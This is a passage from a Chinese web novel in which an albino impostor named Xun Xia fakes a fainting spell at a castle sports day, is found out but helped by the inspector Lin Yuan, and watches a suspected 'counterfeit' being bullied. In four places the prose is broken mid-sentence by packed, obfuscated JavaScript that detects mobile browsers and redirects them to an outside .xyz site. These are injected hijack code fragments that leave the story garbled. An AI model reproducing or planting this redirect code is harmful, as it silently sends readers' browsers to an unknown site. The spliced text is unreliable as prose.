“我不是在和你开玩笑啦!”她见寻夏完全不当回事,皱着眉头努力加重了语气,“下午初见日集市的时候,他的手套不过是被一个摊主稍微扯下来了一点儿,他就生气了,骂那个摊主毫无教养!” “我知道你提前走了没看到。但他的脾气真的特别龟毛,身份又那么显赫,我们惹不起的!”她已经自动将寻夏和自己划在了一个阵营。 寻夏的笑容更灿烂了,这次是发自内心的。 圆圆脸女孩看着她对自己笑,嘴巴动了动,又瘪了瘪:“好吧,我叫栗娜。” “谢谢你的提醒,栗娜。” 她可以向塞巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536334|186571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯蒂安道歉,但恐怕不是栗娜希望的那种。 前方的柏砚率先退出战场,左边的栗娜安静下来,右边的塞巴斯蒂安又有了动静,像打地鼠一样。 “你真的,”他一字一顿,语气又降温了两度,“很没有礼貌。” 寻夏转过身,脸上还带着笑,不躲不闪地迎上塞巴斯蒂安冰冷的目光。 她的神情平和,语气认真又一本正经:“我不是故意不作回应,只是我的母亲从小教导我,‘食不言,寝不语’。在享用美食时保持安静,既是对食物的尊重,也是对同桌人的礼貌。” “抱歉,”她刻意顿了两秒,顺便有意无意地扫了柏砚一眼,才接着道,“我以为,这是最基本餐桌礼仪。” “之前回应柏砚先生已是失礼,我又怎么能在道格拉斯先生面前,继续犯同样的错误呢?” 柏砚一巴掌,塞巴斯蒂安更是一巴掌。两个一边吃饭一边说话的,没礼貌的家伙。 柏砚仍然是一副事不关己高高挂起的表情,权当自己没听到,可塞巴斯蒂安却愣住了。 道格拉斯家是出了名的家风严谨,在世家中,几乎是典范与优雅的代名词。从来只有他挑剔别人失礼的份,什么时候反过来被人质疑过“没礼貌”? 他张了张嘴,想要反驳,却又意识到自己不论再说什么,都是在违反食不言的“基本餐桌礼仪”。 塞巴斯蒂安白皙的脸颊以肉眼可见的速度泛起薄红,一半是因为愤怒,一半是因为难堪。 栗娜在一旁龇牙咧嘴,看得提心吊胆。 但寻夏没有蹬鼻子上脸乘胜追击。她点到即止,客气地笑笑,便收回了目光。 她只是想为自己出口气,并不想把塞巴斯蒂安得罪狠了,不过某些人是没有这种顾忌的。 啪、啪、啪。 相隔大概四五个座位的位置,传来几声不怀好意的鼓掌声。 寻夏循声望去,只见拉蒙不知何时放下了刀叉,正懒散地靠在椅背上,有一下没一下地拍着手,看戏似的欣赏刚刚这一场小小的交锋。 他那张原本没什么表情的脸上,此刻写满了幸灾乐祸。 霍华德富贵,道格拉斯清肃,两大家族一边是纸醉金迷的穷奢极侈,一边是规行矩步的一板一眼,不仅在合议庭内部政见相左,在合议庭外也是互不对付、摩擦颇多。 能看到塞巴斯蒂安这个一向眼高于顶的家伙吃瘪,拉蒙觉得,下午抽塔罗牌的阴霾几乎都要一扫而空了。 “吃饭就吃饭,这么斤斤计较的,真是影响心情!”拉蒙唯恐天下不乱地扬声道,虽然没点名,但任谁都听得出,他是在针对塞巴斯蒂安。 寻夏慢条斯理地切下一块鳕鱼,边嚼边看,作壁上观,看得津津有味。 “你真无聊。”塞巴斯蒂安斜睨他一眼,冷声道。 说完,他起身朝着监察官的方向遥遥举杯,漂亮的金色长发在身后摇晃:“感谢主办方的精心安排,今晚的宴会令人尽兴。只是我向来在作息上规范严格,无法像诸位一般尽兴至夜深,恕不能奉陪。” “客气了,请自便。”临渊颔首致意。 塞巴斯蒂安饮下杯中最后一层清水,而后转身离去,动作优雅利落。 寻夏的视线落到了他留在桌上的那只酒杯上,若有所思。 8. 水 “塞巴斯蒂安他不喝酒诶。”寻夏向□□身,光明正大地和栗娜说小话,语气听起来很八卦。 塞巴斯蒂安走了,栗娜说话声大了一点,但仍然是谨慎地遮着嘴爆料:“道格拉斯家规矩最多了,这个不能吃那个不能喝,早上几点起床、晚上几点睡觉都是固定的,像旧世界的什么和尚一样。” “人活成这样还有什么意思啊。”寻夏感叹。 栗娜快速点头,深以为然。 “希望接下来的二十九天,不用再和他打交道了。”寻夏作祈祷状,长长的睫毛遮住了眼中一闪而过的锋锐。 栗娜深深地叹了口气,面相看起来都沧桑了几分:“我可不行,出去了还是抬头不见低头见。” 寻夏眯了眯眼睛。 “哦?” 这个“哦”字像一枚硬币,而栗娜就像一台贩卖消息的自动售货机。硬币叮当投进售货机里,售货机就开始了全自动爆料。 “哎,我和那位是同一所大学的,学的还都是旧世界西方美术史。不过他是研究生,我是本科二年级,本来也不至于要经常打交道。”栗娜捂住心口,满脸沉痛,“但是我参加了一个小班培养项目,开学之后才发现,他是项目助教。” 果然。 她刚才就觉得,栗娜对道格拉斯的吐槽过于私人化,不像是单纯的道听途说,而更像是真的和塞巴斯蒂安本人有交情。 能和这种有钱有权有闲的基因贵族同校同专业,学的还是一听就找不到工作的什么美术史,栗娜的背景恐怕也不简单。 “他批论文,严格到令人发指!哪里不小心多打了一个空格,页边距设置的差了几毫米,他全都要指出来修改。” “还有还有,他禁止我们用‘体现’‘表达’这种好用的万能词,他说用这种词的人是既懒惰又没有审美,建议去旁听幼升小衔接语文课提升一下。” 寻夏在一旁频频点头,用感同身受的眼神鼓励她继续说下去。她就喜欢这种身份不一般又热情开朗的活泼大漏勺。 “我们每周三一点到五点上课,你知道的,一个礼拜中最困最困的时间。但他从来不喝咖啡,不喝茶,也不喝什么功能饮料,就只喝白开水。闻到我们冰美式的味道,他还要皱眉冷脸,说我们不健康不自律之类的。” 听到这里,寻夏搭在桌沿的五指不自觉收紧了。 水。 又是水。 她对这个字眼一直有一种过分的敏感。因为这是她妈妈消失前给她留下的,唯一的、也是最后的信息。 距离那一天已经过去了六年,寻夏早已不再期待妈妈会在某个平凡的日子推门而入,笑着解释说这一切只是一场盛大的骗局。 她慢慢接受了现实,接过妈妈留下的摊子,在下城这个鱼龙混杂的地方活成了神秘又天赋异禀的“夏老板”。 但无数次午夜梦回,她还是会被那个单薄的字眼困住。 “水”到底是什么意思?是妈妈当时需要喝水?是她所在是某处水边?是某个人、某个任务的代号?又或者只是没来得及打完的第一个字?她设想过千百种可能,却始终找不到一个确切的答案。 它成了一道无解的谜题,一个高悬她心头的、永恒的省略号。 “哎,总之,道格拉斯把我害惨了!”在栗娜的总结陈词中,晚宴开始散场。 但周围的种种动静都像是隔着一层毛玻璃,看不清楚,也听不真切。寻夏端起酒杯,低头抿了一小口上个世纪八十年代的红酒,缓缓咽下眼底的惊涛骇浪。 仅仅一瞬。 再抬眼时,那些汹涌的情绪已经被她熟练压回心底。她重新挂上那种小女生之间的,过家家似的同仇敌忾的神情,方才片刻的失神仿佛只是一场无影无踪的幻觉。 “就是啊,真过分。”她顺着栗娜的话应和,带着恰到好处的愤懑,让人找不出任何破绽。 栗娜对寻夏相见恨晚,挽着她的手一起上楼,又在房间门口依依惜别,约好明天还要一起吃晚饭。 告别了栗娜,合上房门,寻夏从行李箱夹层中,小心翼翼地拿出了那条散发着旧物气味的黑欧泊项链。 这条项链,是妈妈在消失的前一天,从天际城带回来的“任务定金”。 她久久凝视着掌心的宝石。月光下,梦幻的变彩流淌过黑夜,又照亮下一个白天。 新的一天,新的邮件。 今天寻夏没有睡过头,她在十点准时点开了第二天的活动预告。 【活力运动会】 「今日活动预告:活力运动会 活动时间:14:00-17:00 活动地点:梅尔森城堡室外花园 阳光正好,微风不燥,让我们共同推开城堡的大门,开启一场轻松有趣的趣味运动会。请换上轻便的服装,带上愉悦的心情,让友谊在汗水中升温,让欢笑在花园中飞扬吧!」 活动介绍的文笔很像小学生作文,如果拿给塞巴斯蒂安批改的话,他可能会把作者打回幼儿园回炉重造。 想到这里,寻夏没忍住笑了一下。 下午一点五十,灿烂的阳光透过厚重的窗帘照了进来。“阳光正好,微风不燥”,对大多数人来说是个好天气,但对寻夏来说却是个坏天气。 她换上一套包裹严实的浅蓝色瑜伽服,站在落地镜前,最后调整了一下扣在假发外围的那顶智能防晒帽。 白化病人不能承受长时间的阳光直射,凡是在户外活动,防晒装备对她来说都是必不可少的。不过好在今天是运动会主题,这样的装扮在人群中,倒也不会显得突兀。 她走到楼下,镶嵌着彩色玻璃的城堡大门已经向外敞开。 第一天到达的时候是深夜,匆匆一瞥,没来得及看清城堡外圈庄园的模样。 现在看过去,近处是一片巨大的、精心修剪的圆形草坪,草坪中央的白色喷泉在阳光下熠熠生辉。远处有缤纷的花坛,有茂密的树林,微风拂过,带来淡淡的花香和青草的气息。 如茵的绿草上,已经聚集了不少参与者。 一眼扫过去,五花八门的运动品牌Logo撞入寻夏的眼帘;再细细分辨,穿同品牌服饰的几人大多聚在一处交谈,让人生出一种拿他们玩消消乐小游戏的冲动。 寻夏低头看了一眼她的纯色净版瑜伽服,淡淡微笑。 别问,问就是设计师高定款。当所有人都有Logo的时候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536335|186571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有Logo,才是最高级的Logo。 “小夏,这边这边!”栗娜在人群中冲她招手,棕色的蛋卷头在她脑后一跳一跳,看起来很有弹性。 寻夏走过去,栗娜的目光落在她的防晒帽上,一双大眼睛里盛满了惊奇。 “这是哪家出的防晒帽?帽檐的颜色居然一直在变诶,好神奇!” “这是我托人定制的,”寻夏弯起眼睛,“帽檐的材料比较特殊,能够根据紫外线的强度和角度,随时调整颜色和透明度。” 这句话是真话,只不过她所托之“人”不是别人,而是她自己。 “我对防晒很有研究哦。”寻夏又添了一句,这句话也是真话。 栗娜恍然大悟:“我说呢,怪不得你这么白!” 她话音刚落,一声尖锐的哨声就从前方响了起来。一位穿着黑背心灰短裤,散发着健身教练气质的男青年一边播放哨音,一边走到了草坪前,示意大家安静。 临渊在他身后现身,依旧是一丝不苟的制服打扮。阳光勾勒出他清晰的侧脸轮廓,他站在那里,像一尊静默又标致的雕塑。 草坪上渐渐静下来,众人仍然三三两两的站着,好奇的目光纷纷投向站在前面的生面孔。 然而健身教练并不打算自我介绍。他笑容满面,中气十足地开口:“各位朋友们,下午好!欢迎来到活力运动会的现场!” “首先,为了让大家活动开筋骨,我们将进行第一个集体项目——”他的语气中带着点怀念,“让我们重温天际城九年义务教育的美好回忆,一起来做一套每个人都再熟悉不过的‘五彩阳光’广播体操吧!” 寻夏心头重重一跳。 人群中升起一阵小小的喧哗,有人怀念感叹,有人不情不愿,也有人面露迷茫。 “来来来,大家列队,男左女右排成两列!”健身教练对下面的动静毫不在意,只一味地推进流程。 “真幼稚。”拉蒙嗤笑一声,懒懒散散站在一旁,等着守规矩的那群人先排好队。 守规矩的塞巴斯蒂安立在男生队首,一头金发在阳光下耀眼夺目,身姿挺拔得像一杆瘦削的旗。 “中学毕业后就没做过操了,但愿我还有肌肉记忆!”栗娜拉着寻夏想往前走,跃跃欲试。 启明从她身边经过,目标明确地往队尾走去,眼神与寻夏一触即分。 她们都来自下城,那里没有义务教育,她们也不会做什么五彩阳光广播体操。 启明往队尾去,显然是打算浑水摸鱼、滥竽充数,模仿前面的动作,让尽量少的参与者关注到自己。 拉蒙也往队尾去,大摇大摆的。所有人都知道他的身份,就算他不会做操,也不会有任何人怀疑他是赝品。 他站队尾,纯粹是不耐烦,嫌弃做广播体操。还有几人也和他有类似的想法,勾肩搭背地在后边挤成一团,像是学生时代那种会霸凌别人的小团体。 有这些人混淆视听,往后站的策略或许可行。但寻夏已经被栗娜拉着排在了前排,这个时候再挣脱往回走,那就太显眼也太可疑了。 怎么办? 寻夏正垂眸思索,活力四射的体操音乐毫无预兆地响了起来。 9. 广播操 “五彩阳光——现在开始!一,二,三,四——”健身教练跟着音乐一起活力四射地喊拍,挥手鼓励大家动起来。 在场的大多是二三十岁的青年人,已经过了需要每天做早操的年纪。听到熟悉的音乐,四肢遵循着某种神秘的呼唤想要动作,但一时又都有些拿不准具体该动作哪一部分。 第一个八拍的节奏不快,众人有的伸腿,有的抬手,稀稀拉拉、参差不齐。排在寻夏前面的栗娜在迟疑中缓缓抬起了胳膊。 “开头动作是这个吗?我好像要想起来了。”她扭过头,想和寻夏对答案,却没找到寻夏在哪儿。 她后面的位置是空的。 “啊!”后面的后面,一个小麦色皮肤的女生发出一声惊叫。与此同时,栗娜感觉有什么毛茸茸的东西蹭上了自己的小腿。 她低头一看,那个毛茸茸的东西居然是寻夏的脑袋。 栗娜的身体比大脑反应得更快:“小夏!”她也惊叫起来,伸手就要去扶。 在接连的惊叫声中,已经跪倒在地上的寻夏双目紧闭,微微抖动双手,柔弱无骨地往栗娜腿上靠过去。 她防晒帽的帽檐在碰撞中被往下压,严严实实地遮住了她的脸,也遮住了她不够惨白的唇色。 事已至此,先晕倒吧! 没有人晕倒的运动会是不完整的,这场运动会的晕倒KPI,就交给她来完成吧! “哎呀!” “这里有人晕倒了!” “能听见我说话吗?小夏你怎么了别吓我啊!” 以寻夏为圆心,周围迸发一阵骚动。嘈杂的呼喊声此起彼伏地荡开,有人托住她的后背,有人抓住她的手臂。 那几只手没轻没重的,抓得她有点痛。但她必须保持浑身松弛无力的状态,既不能下意识地收紧肌肉,也不能不经意间眼皮狂跳。 毕竟她现在的状态,应该是能听见周围人说话,但眼前一片漆黑,意识开始模糊,逐渐丧失对身体的控制。 这是她曾经多次亲身体验低血糖晕倒之后,总结出来的晕倒经验。 忽然,抓在她身上不同部位的几只手同时松开,她的后背靠上了一片硬邦邦且带有尖锐凸起的东西。 “怎么回事?”临渊沉沉的嗓音突兀地响起。 按理说,丧失视觉的时候,听觉就会变得敏锐。可不知道为什么,在寻夏的耳朵里,其他人七嘴八舌的回应声变得模糊,唯独临渊的声音在无限放大。 她好像真给自己装困了。 两根温热的手指按上她的颈侧,寻夏努力让自己的心脏加速跳动起来,但似乎成效甚微。 临渊按在她颈侧的手指顿了顿。 “中暑,或者低血糖,大家不必太过惊慌。”他的语调沉稳,有种让人安心的力量,“我带她去医疗舱,运动会正常进行。” 话音落下,寻夏感觉到了两条有力的手臂一上一下,稳稳托住她的后背和膝窝。她的双腿离开地面,在半空中悬荡,身侧飘来若有若无的清爽淡香。 这次,换她的脑袋靠在了那片硬邦邦且带有尖锐凸起的东西上。她后知后觉地意识到,那片硬邦邦的东西是临渊的胸膛,尖锐凸起大概是他别在胸口的教廷徽章。 好吧,她居然要以一个被公主抱的姿势,在众目睽睽下离场。 好吧,或许晕倒的人没有被公主抱的运动会,也是不完整的吧。 神游中,她好像听到了栗娜说她要来帮忙的声音。但临渊的脚步不停,栗娜的声音很快被抛在身后,连带着广播体操的动感音乐也迅速远去。 任世间纷纷扰扰,站在队首的塞巴斯蒂安始终专注做操。 他的动作横平竖直,神情没有波动。直到临渊抱着寻夏从他面前经过,他的眼睛才极其缓慢地眨动了一下。 又是这个寻夏。他想。 临渊抱着寻夏,快步走进城堡阴凉安静的大厅。 军靴踏在大理石地面上,荡开咚咚的回音。寻夏有些无聊地数着响声,在心里推测去往医疗舱的大致路线。 数到第两百五十多步的时候,临渊的脚步慢了下来。 医疗舱应该就要到了,寻夏颤了颤眼皮,时机恰好地、缓慢又艰难地睁开了双眼。 她本想睁开眼之后,先茫然四顾一番。但不巧的是,她一睁眼就对上了临渊垂眼看下来的目光。 他彻底停下了脚步。 好像有点不对劲,但寻夏还是随机应变地演了下去。她的眼珠一动不动,控制着视线从失焦,一点一点收回到聚焦的状态。 她张了张嘴,哑着嗓子柔弱开口:“这……哪儿?” 刚从低血糖昏迷中醒转的人,是没力气说出一句完整连贯的句子的,最多只能像她现在这样,气若游丝地蹦出几个字眼。 临渊盯着她看,没有说话。 寻夏继续引导他:“晕了……多久?” 临渊还是盯着她看,没有说话。 好像确实有点不对劲。 寻夏暗自咬咬牙,张了张嘴,决定最后再尝试一次。但临渊抢先一步打断了她。 “我知道你是装的。”他终于撇开眼睛,声音和身上的香气一样淡淡的。 寻夏一愣。 怪不得她总觉得有哪里不太对劲。 她飞快地看了一眼四周,才发现身前居然是昨天刚进去过的701房间,没有需要应付的医护人员,也根本没有什么医疗舱。 说实话,刚刚临渊开口的那一刻,她的心跳久违地紧张加速了一下。 但转念一想,临渊不仅抱着她离开了广播体操现场,还一直走到不会被任何人撞见的办公室门口才停下,这说明什么?说明他从没有打算在众人面前揭穿她。 也是,监察官只负责审查违规行为,赝品骗人天经地义,她又没有违规,怕什么。 寻夏转了转眼珠,又用手肘轻轻顶了顶临渊的胸口,示意他放自己下来。 临渊弯腰倾身,把她的双脚放回地上。寻夏却像没骨头一样,脚踝一软,带着整个上半身向前倾倒。 咚的一声,她的脑门和701的大门来了个亲密接触。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536336|186571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好痛。 而临渊只是垂着手,居高临下又无动于衷:“可以了,不用再装了。” “怎么隐藏身份是你自己的事,我只负责维护游戏的合规与公平。”他的视线落在寻夏额头上撞到的位置,“我不会揭穿你,但也不会帮你,回去吧。” “回哪里去?”寻夏将手掌搭上大门,眼神直勾勾地盯着临渊,“这里可是你的办公室门口。” 还没等临渊反应,她又忽地挪开目光:“哎,算了。” “我可以进去先坐一会儿吗?虽然晕倒是假装的,但我是真的没有吃午饭,刚刚又晒了太阳,有点不舒服。”寻夏低垂着眉眼,看起来隐忍又脆弱,“我有白化的基因缺陷,你知道的。” 基因缺陷,是每一个二等民心中的一道隐疮。而寻夏竟然愿意揭开伤口,主动暴露她的天生缺陷,只为了取得他的信任。 这下换临渊愣住了。 他的脑海中闪过了初见时擦肩而过,寻夏那一头柔软的及肩白发,还有淡粉色的眼眸。 他试图分辨寻夏刚刚那几句话的真假,但在他的大脑得出结论之前,他的右手已经完成了开启门锁的指纹识别。 他像拎起一个布娃娃一样,把地上的寻夏拎起来,一路搀到纯白的沙发上坐下,然后一言不发地转身出了门。 寻夏靠在沙发上,长长的假发胡乱散开,遮住了她的脸。 而此时,临渊正站在负一层的厨房门口,手上刚刚收起了终端。 他放心把寻夏一个人留在办公室,是因为他的办公室安装了微型监控,寻夏有任何小动作,他都能看得一清二楚。 可是终端上的监控画面显示,整整十五分钟过去,寻夏真的只是躺在沙发上,甚至连一动都没有动,只剩下胸口还在缓慢起伏。 他已经不怀疑她在装模作样,或者是别有用心了。他现在有点担心,寻夏会不会真的晕过去了? 临渊接过厨师递来的热腾腾的餐盒,不自觉加快了脚步。 当他再一次打开701房门的时候,寻夏像是察觉到了声响,微微偏过头,从长发下露出一点苍白的脸颊。 “就在这里吃吧。”临渊看了她一眼,将餐盒放在沙发前的圆形小几上。 寻夏用慢动作支起身体,眼神从迷茫,慢慢转变为惊喜。 “原来你去给我找吃的了。”她弯起眼睛,“谢谢临渊长官。” “不客气。”临渊背身,向办公桌走去。 寻夏拿起刀叉,视线状似不经意地扫过天花板角落那个一闪一闪的小红点。 她们这种做骗子的,对摄像头没点敏感度怎么行呢。 她当然好奇临渊的办公室,也好奇临渊本人。他这样的人,会有什么样的执念、什么样的渴望呢? 但窥探人心不能急于一时,她今天只是迈出了浅浅的一步。 食盒里的鳕鱼冒着热气,金黄的表皮上还能看到亮晶晶的新油。寻夏切下一块,放入口中,笑着看向端坐在办公桌后,一脸公事公办的临渊。 她赌临渊下次还会帮她。 10. 运动会 寻夏很给面子地把餐盒里的东西吃了个干净,表示非常感谢临渊对她的帮助,然后“坚强”地回到花园,继续参加接下来的运动会项目。 当然,只是嘴上说着要参加,实际上会有好心人拉住她,劝她要好好休息注意身体,不要逞强。 比如栗娜。 “小夏你回来啦!”年轻的女孩惊喜地迎了上来,“是不是低血糖?现在还晕吗?之前真是吓死我了!” 寻夏的笑容看起来有些虚弱:“我没事。” 栗娜抓住她的双臂,细细打量她苍白的脸,和特地扑了一点粉底的唇。 “看起来不像没事!”她得出结论,“怎么不回房间?你不会还想参加项目吧?是不是那个监察官不让你回去休息?” 寻夏不答,也不打算帮临渊解释,只是向草坪上热闹的人群投去一个向往的眼神。 “好吧好吧,知道你感兴趣了,我陪你过去看。但说好了,只能旁观,不能亲自上场哦!” 正合她意。 寻夏愉快地点点头,既然栗娜都这么说了,那她当然恭敬不如从命了。 毕竟在运动会上晕倒是一种经典剧情,晕倒的人醒来后回到会场做啦啦队,也是一种经典剧情。 “那是——?”她指了指喷泉后不知何时多出来的一张巨大水床。 远远望去,冰蓝色的水床像一片沸腾的海洋。一条条身影在水床上起伏跳跃,色彩鲜艳的小球在众人的争抢中不断抛起又落下。 “对,就是‘抢滩登陆’!”栗娜的眼睛亮晶晶的,她显然对这项活动并不陌生,甚至是非常熟悉。 这应该是在天际城的校园中流行的某个趣味项目。 寻夏咬住舌尖,暗道一声好险。她刚刚差点就要脱口而出,问出“那是什么东西”这种蠢话。 她如果真的那么问了,她的无知就会暴露得一干二净,栗娜一定会产生怀疑,进而不再把她划入“我们”的阵营。 还是太放松了。寻夏双手垂在身侧,指甲悄悄掐进了掌心。 两人离水床渐渐近了,寻夏才发现场上的局面似乎有些奇怪。 围在水床外的人群一半一半,分别绑着红色和蓝色的腕带,水床上弹起的小球也分为红色和蓝色两种颜色。在寻夏的设想里,这个所谓的“抢滩登陆”,应该就是两个阵营在水床上抢夺各自阵营的小球,或者抢夺对方阵营的小球。 但此刻水床上,没有人理会蹦蹦跳跳的小球。红色阵营和蓝色阵营的参与者们交错在一起,不分你我,把一个瘦小的男青年堵在中间。 他双手双脚着地,撑在水床上。每一次试图站起来的时候,都会有人恰好在他身旁重重扑下,剧烈波动的水床让他再次失去平衡,狼狈地摔倒。 有人趁乱抓他一把,把他的衣服扯得歪七扭八,还有人趁乱踢他一脚,让他不得不在水床上左右滚动。 “抢滩登陆”,是这么玩的吗? 寻夏用余光观察着栗娜的神色。栗娜先是用手遮着额头,眯着眼看了一阵,而后惊呼:“呀,是他!” 寻夏脸上露出一点茫然。 中间这位是谁?很有名吗?她怎么没什么印象? “现在被围在中间的那个男生,他之前做广播体操的时候站在后排。”栗娜语速很快,“拉蒙他们不是也在后排嘛,他们就发现这个男生的动作永远慢半拍,而且还会和前面的人做错一样的动作。” 栗娜压低声音,凑近寻夏的耳朵,像是要告诉她一个惊天大秘密:“他们都说,这个男生是赝品!” 赝品两个字,在寻夏耳中嗡嗡回荡。 但她控制得很好,没有表现出半点异样,语气里带着恰如其分的惊讶与八卦之情:“真的吗?他是赝品?” “不知道啊!但那群人都说是,明天我就打算投他了。”栗娜说的是明天晚上的放逐选举。 不论他是否来自下城,起码明天的选举,已经有了一个集火的靶子,这理应是件好事。 寻夏长睫颤了颤:“那我跟你的票。” 阳光下,有人顶着一头耀眼的红色短发走了过来。寻夏这才意识到,原来拉蒙也在水床这边。 “哎呀,真是说拉蒙,拉蒙到呀!”栗娜感叹完,又担心起来,“你第一天的时候那个占卜……没关系吗?” “没事。” 话是这么说,但她现在并不想应付拉蒙。寻夏垂眼盯着草地,暗自希望拉蒙只是要去什么地方,碰巧借道路过。但很不巧,她看见一双挂着骷髅徽章的圆头皮鞋停在了她的身前。 拉蒙今天打扮的依旧很朋克,破洞毛衣破洞裤,铆钉项圈铆钉戒,总之和运动沾不上半点关系。 他上下打量了寻夏几个来回,视线在她毫无血色的双唇上多停留了片刻。 “哟,”他冷哼一声,“这位寻夏小姐,该不会是算命的时候胡话说多了,遭报应被反噬了吧?” 无人在意的角落,拉蒙已经彻底背弃了他的唯物主义信仰。 寻夏不动声色地深吸一口气,然后抬起头,八风不动道:“窥探命运才需要付出代价,只是说胡话的话,是不需要的。” 栗娜抿着嘴憋笑。 拉蒙又被呛了一回,他一时间没想好怎么反驳,只好再悻悻地冷哼了一声。 “他是赝品?”寻夏朝水床中间的男生扬扬下巴,冷不丁问道。 “是啊,”拉蒙斜了一眼,语气轻蔑,“操也不会做,游戏也不会玩,还瘦得跟条狗一样,一看就是赝品。” 水床上又是一阵波动,嬉笑声嘹亮,被轻描淡写钉为赝品的瘦小青年像是舞台上的丑角,滑稽、尴尬,被牢牢困在方寸之间,不得逃脱。 寻夏收回视线。 天际城的人上人们就是这样,在他们眼里,下城的二等民和路边随随便便的一个物件,并没有什么区别。 忽然,一道熟悉又活力四射的男声打断了水床上的欢笑。 “时间到时间到!”健身教练一边用终端循环播放哨音,一边大步流星地走来,“我们这一场抢滩登陆结束了!” 临渊在他身后,脸色沉沉,灰色的眼睛里像开了空调,温度又降了几分。 寻夏的视线不自觉地在他脸上多扫了几个来回。 水床上,一个浑身名牌、美式前刺的男生站了起来,不满道:“你搞错了吧?一场抢滩的标准时间是三十分钟,现在明明还有十分钟!” 健身教练脸上闪过一丝不自然,下意识偏过头瞥了一眼临渊,清了清嗓子:“咳咳……我们这不是标准场,是趣味运动会特别体验场!就是二十分钟一场!” 临渊终于开口:“时间到了,请大家配合。”虽然说是“请”,但他的语气听起来很不客气。 健身教练赶紧接上:“对对,下一个项目马上开始啦,大家跟我一起过去吧!” 水床上放肆的嬉闹声渐渐散去,那群人不满地嘟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536337|186571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 囔着,但在监察官凌厉的注视下,谁也不想做第一个出头抗议的人。 “啧。”拉蒙双臂抱胸,圆头皮鞋重重地砸了两下草坪,“下一个项目是什么?” 他在这些人中最有背景,有他松口,健身教练大大地松了口气。 “下一个项目,‘同心协力’双人运球!需要男女搭配,自由组队,积分加倍哦!” “走。”拉蒙斜了健身教练一眼,示意他带路。人群被新的项目吸引,重新热闹起来。他的小弟第一个追上来,其他人也陆陆续续离开了水床。 水床不再剧烈波动,最中间那个瘦小的男生,喘着粗气坐了起来。他的头发被汗水打湿了,一缕一缕紧贴着额头,POLO衫的领口被扯开,好像还掉了两颗扣子。 “有不舒服的话,可以回去休息。”临渊移开目光,不去看他一身的狼狈,只是在转身离开前留下一句。 男生垂着头,像是没听到一样,一动不动,一言不发。 “他一个人在那里好可怜哦。”栗娜的声音在寻夏耳边响起,一开始是于心不忍,但很快便被兴奋取代,“他们都去玩新项目了,我们也一起过去看看吧!” “好啊。”寻夏微笑点头,不再去看那张孤单的水床,任由栗娜拉着她向新场地走去。 她忽然觉得有点没意思。 栗娜对那个男生的同情,就像同情一只雨过天晴时被踩扁的蜗牛。她路过这只蜗牛,感叹一句好可怜,然后转过身就会把蜗牛抛到九霄云外。 甚至还会在晚餐时大快朵颐一整盘烤蜗牛。 寻夏用叉子叉起一块蜗牛肉,觉得这一切在荒诞中又透着一丝好笑。 今晚的蜗牛烤得有点老,栗娜一手刀一手叉,切蜗牛切出了咬牙切齿的气势。 “哎呀,终于切下来了!”她甩甩手腕,同样叉起一块蜗牛肉,悄悄问寻夏,“明天这个时候就要投票了,你觉得赝品是谁?” “应该就是水床上那个男生吧。”寻夏答得自然,“他叫什么来着?安德鲁?” “是叫安德雷啦!不过我觉得也是,他太明显了。” 栗娜说完,两人都没有说话。 客观上看,此时栗娜和寻夏都在嚼蜗牛肉,沉默一会儿也很正常。但主观上,寻夏却觉得此刻的沉默有种说不清道不明的尴尬。 也许是因为她有点心虚吧。 “对了!”栗娜放下叉子,在餐盘上砸出当的一声,打破了尴尬的沉默,“小夏,你是不是已经大学毕业了?我还没问过你是做什么工作的呢!” 寻夏的心跳停了半拍。 她安静地放下叉子,笑着反问:“为什么觉得我已经毕业了?” 栗娜有点不好意思:“虽然一直叫你小夏,但我感觉你其实比我成熟得多,像是我的姐姐一样。” 她说这些话的时候,寻夏没有放过她脸上任何一个细小的波动。 寻夏扫过她脑后漂亮有光泽的蛋卷发,扫过她白净的小脸,扫过她笑起来露出的两颗小尖牙,也扫过她眼里真切的好奇与一点点羞怯。 寻夏眨眨眼,眼底的锐意渐渐散去。但愿是她想多了,栗娜说的,应该都是她的真心话。 她于是笑眯眯道:“我是独立造型师。” 